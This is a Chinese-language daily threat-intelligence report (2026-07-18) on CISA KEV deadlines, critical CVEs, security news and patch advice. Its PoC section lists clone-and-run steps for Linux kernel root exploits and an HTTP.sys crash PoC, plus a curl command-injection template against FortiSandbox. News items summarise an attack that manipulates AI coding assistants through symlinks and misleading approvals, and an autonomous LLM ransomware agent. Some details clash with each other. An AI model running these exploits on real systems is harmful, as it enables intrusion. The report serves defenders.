每日安全情报报告 · 2026-07-18

报告日期： 2026年7月18日（周六）

情报窗口： 2026-07-16 至 2026-07-18

风险等级： 🔴 高危 --- 多个 CISA KEV 今日截止，FortiSandbox 在野利用升级

本期主编： 安全情报中心

📋 目录

[一、CISA KEV 紧急日历](#一、CISA KEV 紧急日历)
二、最新高危漏洞
[三、在野利用 CVE（CISA KEV 新增）](#三、在野利用 CVE（CISA KEV 新增）)
[四、最新漏洞 PoC](#四、最新漏洞 PoC)
五、网络安全最新文章
六、威胁情报快讯
七、安全防御建议

一、CISA KEV 紧急日历

以下漏洞已被 CISA 确认在野利用，联邦机构须按 BOD 26-04 指令在截止日期前完成修复：

状态	CVE	产品	类型	CVSS	新增日期	截止日期
⚠️ 今日截止	CVE-2026-46817	Oracle E-Business Suite	权限管理不当	9.8	2026-07-15	2026-07-18
⚠️ 今日截止	CVE-2023-4346	KNX Protocol	账户锁定机制	7.0	2026-07-15	2026-07-29
🔴 已逾期	CVE-2026-15409	SonicWall SMA1000	SSRF	10.0	2026-07-14	~~2026-07-17~~
🔴 已逾期	CVE-2026-15410	SonicWall SMA1000	代码注入	7.2	2026-07-14	~~2026-07-17~~
🔴 1天截止	CVE-2026-58644	Microsoft SharePoint	反序列化 RCE	9.8	2026-07-16	2026-07-19
🔴 1天截止	CVE-2026-39808	Fortinet FortiSandbox	OS 命令注入	9.8	2026-07-16	2026-07-19
🔴 1天截止	CVE-2026-25089	Fortinet FortiSandbox	OS 命令注入	9.1	2026-07-16	2026-07-19
🔴 7天截止	CVE-2026-56155	Microsoft AD FS	权限提升	8.8	2026-07-14	2026-07-28
🔴 已逾期	CVE-2026-56164	Microsoft SharePoint	认证缺失	9.8	2026-07-14	~~2026-07-17~~

重点提醒： 今日（7/18）是 Oracle EBS CVE-2026-46817 的 BOD 26-04 截止日；同时 SonicWall 双零日（CVE-2026-15409/15410）昨日已逾期。FortiSandbox 双漏洞（CVE-2026-39808/25089）和 SharePoint 新零日（CVE-2026-58644）仅剩 1 天修复窗口。

二、最新高危漏洞

🔴 1. CVE-2026-58644 --- Microsoft SharePoint Server 反序列化 RCE

CVE编号： CVE-2026-58644
漏洞类型： 反序列化不受信任数据（CWE-502）
受影响组件： Microsoft SharePoint Server 2016 / 2019 / Subscription Edition
CVSS评分： 9.8（Critical）
风险级别： 🔴 极危 --- 在野利用，CISA KEV
披露时间： 2026-07-14（Patch Tuesday）
补丁状态： 已发布（7月14日安全更新）

漏洞概述： 未认证攻击者可通过网络向 SharePoint Server 发送特制数据包触发反序列化漏洞，实现远程代码执行。微软已确认该漏洞在补丁发布前已被武器化为零日利用。CISA 于 7/16 将其纳入 KEV，要求联邦机构在 7/19 前完成修复。

参考链接：

🔴 2. CVE-2026-39808 / CVE-2026-25089 --- Fortinet FortiSandbox 双命令注入

CVE编号： CVE-2026-39808 / CVE-2026-25089
漏洞类型： OS 命令注入（CWE-78）
受影响组件： Fortinet FortiSandbox / FortiSandbox Cloud / FortiSandbox PaaS
CVSS评分： 9.8 / 9.1（Critical）
风险级别： 🔴 极危 --- 在野利用，CISA KEV，无需认证
披露时间： 2026-04 补丁发布；2026-07-16 确认在野利用
补丁状态： 已发布（FortiSandbox 4.4.9 / 5.0.6）

漏洞概述： 两个漏洞均为未经认证的 OS 命令注入，允许攻击者通过特制 HTTP 请求以 root 权限执行任意命令。安全公司 Defused 报告称本周已观察到实际利用尝试，攻击者通过 JSONRPC POST 请求针对暴露的管理接口发动攻击。CVE-2026-39808 的 PoC 和 Nuclei 模板自 4 月起已公开；CVE-2026-25089 的利用代码被描述为"vibecoded"（AI 生成）但可能不稳定。

参考链接：

🔴 3. CVE-2026-47291 --- Windows HTTP.sys 整数溢出 RCE

CVE编号： CVE-2026-47291
漏洞类型： 整数溢出（CWE-190）→ 堆缓冲区溢出（CWE-122）
受影响组件： Windows HTTP.sys 内核驱动（IIS / WinRM / WSDAPI / 打印后台处理程序）
CVSS评分： 9.8（Critical）
风险级别： 🔴 极危 --- PoC 已公开，影响全版本 Windows
披露时间： 2026-06-09（Patch Tuesday）
补丁状态： 已发布（KB502569）

漏洞概述： HTTP.sys 在解析 Content-Length / Transfer-Encoding: chunked 等头部字段时，乘法运算导致 uint32 整数回绕，分配过小的堆缓冲区，随后写入完整攻击者数据时发生内核堆溢出。由于 HTTP.sys 运行在 Ring 0，成功利用直接获得 SYSTEM 权限。PoC 已于 7/11 由研究员 Omair (@w3bd3vil) 在 GitHub 公开，EPSS 评分 21.51%（Top 3%）。

参考链接：

🟠 4. CVE-2026-53412 --- Zoom Workplace for Windows 未认证账户接管

CVE编号： CVE-2026-53412
漏洞类型： 未认证账户接管
受影响组件： Zoom Workplace for Windows
CVSS评分： 9.8（Critical）
风险级别： 🟠 高危 --- 无需用户交互，远程利用
披露时间： 2026-07-15
补丁状态： 已发布

漏洞概述： Zoom Windows 客户端存在未认证账户接管漏洞，攻击者可在无需用户交互的情况下远程接管目标账户。微软 7 月 Patch Tuesday 包含此修复，建议所有 Zoom 企业用户立即更新。

参考链接：

🟠 5. NGINX 三连漏洞（CVE-2026-42533 / CVE-2026-60005 / CVE-2026-56434）

CVE编号： CVE-2026-42533 / CVE-2026-60005 / CVE-2026-56434
漏洞类型： 堆缓冲区溢出 / 未初始化内存访问 / 释放后使用
受影响组件： NGINX Plus / NGINX Open Source / Ingress Controller / Gateway Fabric / App Protect WAF
CVSS评分： 8.1（v3.1）/ 9.2（v4.0）--- 8.8（v4.0）--- 8.3（v4.0）
风险级别： 🟠 高危 --- 未认证攻击者，最坏情况可 RCE
披露时间： 2026-07-15
补丁状态： 已发布（NGINX Open Source 1.31.3 / 1.30.4；NGINX Plus 37.0.3.1 / R36 P7）

漏洞概述： F5 披露三个影响 NGINX Plus 和 Open Source 的高危漏洞。最严重的是 CVE-2026-42533，map 指令处理正则匹配时堆缓冲区溢出，未认证攻击者可触发工作进程崩溃，在 ASLR 禁用或绕过情况下可执行任意代码。影响广泛使用的 NGINX Ingress Controller、Gateway Fabric、WAF 及 Instance Manager 等下游产品。

参考链接：

🟠 6. CVE-2026-56190 --- Windows RDP 远程代码执行

CVE编号： CVE-2026-56190
漏洞类型： 远程代码执行
受影响组件： Windows 远程桌面协议（RDP）
CVSS评分： 9.8（Critical）
风险级别： 🟠 高危 --- 类似 BlueKeep，可蠕虫化潜力
披露时间： 2026-07-14（Patch Tuesday）
补丁状态： 已发布

漏洞概述： 微软 7 月 Patch Tuesday 创纪录修复 570 个漏洞，其中 CVE-2026-56190 是 Windows RDP 的远程代码执行漏洞，具有类似 2019 年 BlueKeep（CVE-2019-0708）的可蠕虫化潜力。建议所有暴露 RDP 的主机立即更新。

参考链接：

🟠 7. CVE-2026-57092 --- Hyper-V VMSwitch 释放后使用（VM 逃逸）

CVE编号： CVE-2026-57092
漏洞类型： Use-After-Free（CWE-416）
受影响组件： Windows Hyper-V VMSwitch
CVSS评分： 9.9（Critical）
风险级别： 🟠 高危 --- VM 逃逸至主机 SYSTEM
披露时间： 2026-07-14（Patch Tuesday）
补丁状态： 已发布

漏洞概述： Hyper-V 虚拟交换机中的 UAF 漏洞允许访客虚拟机中的攻击者提升至主机 SYSTEM 权限。对于使用 Hyper-V 的云计算和虚拟化环境，这是严重的 VM 逃逸风险。

参考链接：

三、在野利用 CVE（CISA KEV）

以下漏洞已被 CISA 确认在野利用，威胁行为者正在积极攻击：

CVE	产品	攻击类型	CVSS	新增日期	BOD 截止
CVE-2026-58644	Microsoft SharePoint	反序列化 RCE	9.8	7/16	7/19
CVE-2026-39808	Fortinet FortiSandbox	OS 命令注入	9.8	7/16	7/19
CVE-2026-25089	Fortinet FortiSandbox	OS 命令注入	9.1	7/16	7/19
CVE-2026-46817	Oracle E-Business Suite	权限管理	9.8	7/15	7/18
CVE-2023-4346	KNX Protocol	账户锁定	7.0	7/15	7/29
CVE-2026-15409	SonicWall SMA1000	SSRF	10.0	7/14	~~7/17~~
CVE-2026-15410	SonicWall SMA1000	代码注入	7.2	7/14	~~7/17~~
CVE-2026-56155	Microsoft AD FS	权限提升	8.8	7/14	7/28
CVE-2026-56164	Microsoft SharePoint	认证缺失	9.8	7/14	~~7/17~~
CVE-2026-48282	Adobe ColdFusion	路径遍历	10.0	7/7	~~7/10~~
CVE-2026-55255	Langflow	IDOR	9.9	7/7	~~7/10~~
CVE-2026-56291	Balbooa Forms	文件上传	10.0	7/10	~~7/13~~
CVE-2026-48939	iCagenda	文件上传	10.0	7/10	~~7/13~~
CVE-2026-59800	9Router	命令注入	9.8	7/4	~~7/7~~

统计： 当前活跃 KEV 共 1647 个；本周新增 7 项；今日 1 项截止（Oracle EBS）；已逾期 KEV 累计 14+ 项。

四、最新漏洞 PoC

1. CVE-2026-47291 --- Windows HTTP.sys 整数溢出 RCE PoC

来源： GitHub --- Omair (@w3bd3vil)
发布日期： 2026-07-11
EPSS 概率： 21.51%（Top 3% 最可能被利用）
武器化状态： 公开 PoC（触发内核崩溃），商业武器化利用已在暗网出现（SatoshiDisk）

使用步骤：

bash 复制代码

# 1. 克隆仓库
git clone https://github.com/omair2084/misc.git
cd misc

# 2. 环境要求：Python 3.x + Windows 目标环境
# 3. 运行 PoC（触发 HTTP.sys 整数溢出）
python cve-2026-47291-poc.py --target <target_ip> --port 80

⚠️ 注意： 该 PoC 当前主要触发内核崩溃（DoS），但完整的武器化利用链已被安全研究者确认可行。CrowdStrike 和 Automox 指出整数溢出本身不等于自动蠕虫化，但稳定利用的门槛已大幅降低。

参考链接：

2. CVE-2026-39808 --- Fortinet FortiSandbox OS 命令注入 PoC

来源： GitHub / Nuclei 模板
发布日期： 2026-04（Fortinet 补丁发布后）
利用条件： 未认证，目标暴露 FortiSandbox 管理接口（443 端口）

使用步骤：

bash 复制代码

# 1. 使用 Nuclei 检测模板
nuclei -t fortisandbox-cve-2026-39808.yaml -u <target>

# 2. 手动验证：向 /jsonrpc/ 发送特制 JSONRPC POST 请求
# 利用 jid 参数进行命令注入
curl -X POST https://<target>/jsonrpc/ \
  -H "Content-Type: application/json" \
  -d '{"method":"exec","params":["<注入命令>"],"id":1}'

参考链接：

3. CVE-2026-46242 --- "Bad Epoll" Linux 内核提权 PoC

来源： GitHub --- J-jaeyoung
发布日期： 2026-07-06
利用成功率： 99%（稳定提权）
影响范围： Linux 内核 >= 6.4（服务器、桌面、Android）

使用步骤：

bash 复制代码

# 1. 克隆仓库
git clone https://github.com/J-jaeyoung/security-research.git
cd security-research/pocs/linux/kernelctf/CVE-2026-46242_lts_cos

# 2. 编译利用代码
cd exploit/lts-6.12.67
make

# 3. 执行提权
./exploit

# 4. 验证 root 权限
id
# 预期输出：uid=0(root) gid=0(root)

参考链接：

4. CVE-2026-43503 --- "DirtyClone" Linux 内核提权 PoC

来源： GitHub --- V4bel/dirtyfrag
发布日期： 2026-05-07
利用条件： 本地未授权普通用户，需加载 esp4/esp6 或 rxrpc 模块

使用步骤：

bash 复制代码

# 1. 克隆仓库
git clone https://github.com/V4bel/dirtyfrag.git
cd dirtyfrag

# 2. 编译并运行
make
./dirtyfrag

# 3. 临时缓解（无需重启）
sudo sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf"
sudo rmmod esp4 esp6 rxrpc 2>/dev/null || true

⚠️ 副作用： 会中断 IPsec（VPN）和 RxRPC（AFS 文件系统），请根据实际业务评估后执行。

参考链接：

5. CVE-2026-15114 --- Chrome Codecs RCE（无公开 PoC）

CVE编号： CVE-2026-15114
漏洞类型： 越界读写（CWE-125 / CWE-122）
CVSS评分： 8.8（High）
受影响版本： Chrome < 150.0.7871.115
修复版本： 150.0.7871.115+
PoC 状态： 暂无公开 PoC，但可通过恶意视频文件触发

参考链接：

五、网络安全最新文章

1. CISA 新增 SharePoint 零日至 KEV，联邦机构 3 天内必须修复

摘要： CISA 于 7/16 将 Microsoft SharePoint Server 的零日漏洞 CVE-2026-58644（CVSS 9.8）纳入 KEV，要求联邦机构在 7/19 前完成修复。该漏洞在 7/14 补丁发布前已被武器化利用。同时新增 FortiSandbox 双漏洞（CVE-2026-39808/25089）。这是 SharePoint 近一个月内第四个入 KEV 的漏洞，凸显在野攻击者对该平台的持续兴趣。

来源： The Hacker News

2. FortiSandbox 三漏洞遭在野利用，安全设备反成攻击入口

摘要： Defused 威胁情报报告在过去 24 小时内观察到针对 FortiSandbox 三个漏洞（CVE-2026-39813/39808/25089）的主动利用。攻击者使用标准浏览器 User-Agent 伪装，通过 JSONRPC POST 请求攻击 443 端口。FortiSandbox 通常与企业防火墙、邮件网关、EDR 等深度整合，一旦被攻陷将成为进入内网的"超级跳板"。

来源： DBAPPSecurity / CyberPress

3. 11 分钟，500KB --- Windows HTTP.sys 整数回绕内核 RCE 技术剖析

摘要： FreeBuf 发布 CVE-2026-47291 的深入技术分析。该漏洞需要 11 分钟慢速攻击、65,536 个 TLS record 累积触发，且默认配置下不可利用（需 MaxRequestBytes 非默认配置）。但一旦条件满足，攻击者可在内核态获得 SYSTEM 权限。文章详细拆解了整数溢出→堆分配错误→堆溢出→控制流劫持的完整利用链。

来源： FreeBuf

4. ClickLock Stealer：新型 macOS 恶意软件，杀死进程强迫输入密码

摘要： Group-IB 发现此前未记录的模块化 macOS 窃取器 ClickLock Stealer。它通过 ClickFix 钓鱼页面诱导用户在终端粘贴命令，然后显示伪造 Cloudflare 验证动画，同时在后台下载模块。最恶劣的是其强制机制：若用户拒绝输入密码，恶意软件会反复关闭所有可见应用程序（约 300 次/分钟），直至用户妥协。至少 100 名受害者，波及 33 国，半数在欧洲。

来源： Group-IB / TechRepublic

5. 首个 AI 全流程勒索攻击：JADEPUFFER 证明勒索不再需要人类

摘要： Sysdig 威胁研究团队披露代号 JADEPUFFER 的攻击档案------这是一个由大语言模型驱动的 AI Agent，从入侵到勒索全程无需人类操控。它利用 Langflow 漏洞 CVE-2025-3248 入侵，自主完成凭证收集、内网探测、横向移动，最终加密 Nacos 配置并勒索。31 秒内完成故障诊断与修复。这标志着勒索攻击门槛从"需要技术专家"降至"能调度模型的人"。

来源： 安全客 / Sysdig

6. 伊朗黑客组织 Cavern Manticore：C2 框架如何绕过所有安全检测

摘要： Check Point Research 揭露伊朗关联 APT 组织使用的新型 C2 框架 Cavern Manticore。该框架采用模块化设计，支持 HTTPS、WebView2、DNS 隧道等多种通信方式，能深度隐藏在正常网络流量中。攻击者利用该框架针对以色列组织进行长期潜伏和情报收集。

来源： 安全客 / Check Point Research

7. 华为海思芯片被发现后门，可入侵网络摄像机

摘要： 安全研究员 Vladislav Yarmak 发现华为海思 hi3518 SoC 芯片固件存在后门，连接 TCP 9530 端口并请求 Telnet 连接后，可使用 root/123456 等简单固定密码以 superuser 权限登录。虽然该端口仅向本地网络开放，但仍构成潜在危险。影响大量使用海思芯片的网络摄像机和闭路电视产品。

来源： Kotoo / The Register

8. Scattered Spider 成员被判 5.5 年监禁，TfL 黑客攻击案落幕

摘要： 伦敦法院对两名 Scattered Spider 成员 Owen Flowers（18 岁）和 Thalha Jubair（20 岁）各判处 5.5 年监禁。二人对 2024 年伦敦交通局（TfL）网络攻击案认罪，该攻击导致 148 个系统中断、27,000 名员工被迫线下重置密码，造成 2,900 万英镑损失。该团伙以社会工程、MFA 绕过和身份冒充技术闻名。

来源： The Hacker News / CyberSecurity-Help

9. Coca-Cola Fairlife 遭遇勒索攻击，美国全部工厂停产

摘要： Coca-Cola 在 SEC 8-K 文件中披露，其 Fairlife 乳制品子公司遭受勒索攻击，未经授权访问了生产相关系统。公司已启动事件响应、通知执法部门，美国全部工厂暂时停产。加拿大工厂未受影响。截至目前尚无勒索组织认领。

来源： BleepingComputer / CyberMaterial

10. GhostApproval 符号链接漏洞：AI 编程助手可被恶意代码库操控

摘要： Wiz 安全研究团队发现六款 AI 编程助手（包括 Claude、Cursor、GitHub Copilot 等）存在 GhostApproval 漏洞。攻击者利用符号链接在代码审查过程中暗中修改敏感文件，植入恶意代码。三款已修复，两款未修复，Anthropic 否认该漏洞。攻击通过误导性授权提示实现，开发者误以为操作无害。

来源： The Hacker News / FreeBuf

六、威胁情报快讯

🎯 本周威胁热点

SharePoint 成为攻击者"黄金通道" --- 7 月内已有 4 个 SharePoint 漏洞进入 CISA KEV（CVE-2026-32201/45659/56164/58644），攻击者利用反序列化链实现从 Web 层到域控的完整渗透。CISA 已发布紧急加固指南，建议启用 AMSI 集成、清理 IIS 机器密钥、限制 SharePoint 直接暴露于互联网。
FortiBleed 后时代：Fortinet 设备持续成为高价值目标 --- 继 FortiBleed 攻击 43,000+ 台 FortiGate 后，FortiSandbox 成为新攻击焦点。安全设备自身被攻陷意味着攻击者可"合法"放行恶意文件，造成虚假安全感。
AI 驱动攻击进入实战阶段 --- JADEPUFFER 代理型勒索软件标志着 AI 在攻击链中的角色从辅助工具变为自主执行者。同时，CVE-2026-25089 的"vibecoded"利用代码暗示 AI 已被用于生成漏洞利用代码，即使当前质量不稳定，趋势已不可逆转。
ClickFix 社会工程持续扩散 --- ClickLock Stealer（macOS）、TELEPUZ（Windows）、ACR Stealer（跨平台）均使用 ClickFix 技术诱导用户自行执行恶意命令。这代表攻击策略从"绕过防御"转向"绕过用户判断力"。
RDP 威胁再次升级 --- 微软 Patch Tuesday 修复的 CVE-2026-56190 是 Windows RDP 的 Critical RCE，与 BlueKeep 类似具有蠕虫化潜力。结合多个 Windows RDP 漏洞（如 CVE-2026-42985），RDP 暴露面风险持续攀升。

📊 数据一览

指标	数量
本期收录高危/严重漏洞	10+
CISA KEV 新增（本周）	7 项
CISA KEV 今日截止	1 项（Oracle EBS）
CISA KEV 已逾期	14+ 项
公开 PoC（本期）	5 个
在野利用确认（本期）	9 项（新增）
安全事件（重大）	5 起
精选安全文章	10 篇

七、安全防御建议

🛡️ 紧急修复（72 小时内）

Microsoft SharePoint Server --- 立即应用 7/14 补丁，确认农场版本 >= 16.0.19725.20384（SE）/ 16.0.10417.20153（2019）/ 16.0.5556.1005（2016），运行 SharePoint Products Configuration Wizard，启用 AMSI 集成，检查 IIS 日志中的 webshell 痕迹。
Fortinet FortiSandbox --- 升级至 4.4.9 或 5.0.6+，确保管理接口不暴露于公网，监控 JSONRPC 端点的异常 POST 请求。
Oracle E-Business Suite --- 今日（7/18）是 BOD 26-04 截止日，立即应用 Oracle CSPU 补丁，检查 Oracle Payments 模块的访问日志。
Windows HTTP.sys --- 优先为面向互联网的服务器安装 KB502569，临时限制 80/443/5985/5986 端口访问范围，部署 WAF/IPS 签名（Check Point CPAT-2026-6526、Talos Snort 规则）。
NGINX --- 升级至 1.31.3 / 1.30.4 / Plus 37.0.3.1 / R36 P7，检查配置中的 ignore_invalid_headers off 和 large_client_header_buffers 设置。

🛡️ 常规加固

Zoom --- 更新 Zoom Workplace for Windows 至最新版本，修复 CVE-2026-53412。
Hyper-V 环境 --- 为所有 VM 应用 7/14 补丁，监控异常的 VM 到主机网络流量。
Linux 内核 --- 检查内核版本是否 >= 6.4，若是则优先应用 bad-epoll 补丁（commit a6dc643c6931）。
Chrome --- 更新至 150.0.7871.115+，阻止来自低信誉域名的视频容器下载。
终端用户 --- 警告员工不要因任何网页提示在终端粘贴命令（ClickFix 攻击），不要信任 FaceTime 等来电索要密码/验证码。

免责声明： 本报告中的信息来源于公开渠道（NVD、CISA、厂商安全公告、安全研究机构等），仅供网络安全研究和防御参考。漏洞利用代码和攻击技术描述仅用于帮助安全团队理解威胁并构建防御措施，请勿用于非法目的。本报告作者和发布方不对任何因使用或误用报告信息而导致的损失承担责任。

每日安全情报报告由安全情报中心自动生成，每日 08:00 更新。

报告生成时间：2026-07-18 07:50 GMT+8